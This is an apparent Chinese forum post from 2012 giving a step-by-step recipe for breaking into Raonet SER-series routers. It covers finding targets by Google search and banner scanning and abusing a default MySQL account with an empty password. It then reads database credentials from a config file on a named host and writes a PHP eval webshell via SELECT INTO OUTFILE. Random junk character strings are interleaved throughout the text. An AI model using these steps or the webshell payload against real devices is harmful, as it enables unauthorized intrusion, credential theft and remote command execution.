寻找存在漏洞的路由器方法：4 p0 L4 ^$ s) r4 R1 {6 G3 b
% P% U2 I- z# C7 n
1：google搜索'Raonet Subscriber Ethernet Router'/ q. f, o, R8 K' k8 x4 c
; M- O" ^1 p% [5 {
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
9 ]# f" B+ b; a; A8 a
2 H( h0 Y' f9 V, B2 |& v6 e3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
4 M; _ W; D( w0 K0 Z2 J" ]. `
& H* R9 I6 g ^4 F6 w1 v//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
6 W$ }4 }! }. N3 L3 P( g. ?* U4 y( n3 l& Y) d- ^" e
% q+ V/ a- |6 y, S/ ]
) ]/ P+ ?( N( U- z
入侵步骤：6 V0 Y7 |' h) B: r, H3 w
4 O. L0 ]8 ] [" E
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
1 E% P( E- m" y+ n( R" e) K( p+ n' U" ]* N7 A) j7 F
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
; x2 z) y0 i0 u- d3：得到密码后连接，查看GUI管理密码：, o+ V) ]) C8 K. }, {8 r
use ser_500
, Z! J; D" D$ F1 K; A4 kselect id,passwd from user;$ h7 j! }; j! e2 B
4:通过数据库写入webshell，执行命令：
$ q% V, r; H) n' tuse mysql;/ Z2 G' B$ Q ^: s- Z9 [' O% H
create table ok(cmd TEXT);
_9 ?0 y) `9 Qinsert into ok values("<?php @eval($_POST[cmd])?>");
* b2 z; }: z: vselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";; `. y( a' h$ _& {0 s) _
drop table ok;
( m% I2 c% K8 N& A$ j2 C8 h' e5 Y5 s$ e( l9 k/ i
5:连接后门shell.php
" |* ^2 \& ]8 Z% M$ Y9 Q* X3 k
& a' a; w3 m. U2 l9 F* u; w6. 搞定！
- Q* x5 D) g" m @* N1 t$ p
2 S1 R; \# U& R0 r |
发表于 2012-12-10 10:30:18
收藏
支持
反对
发表于 2013-7-27 20:06:50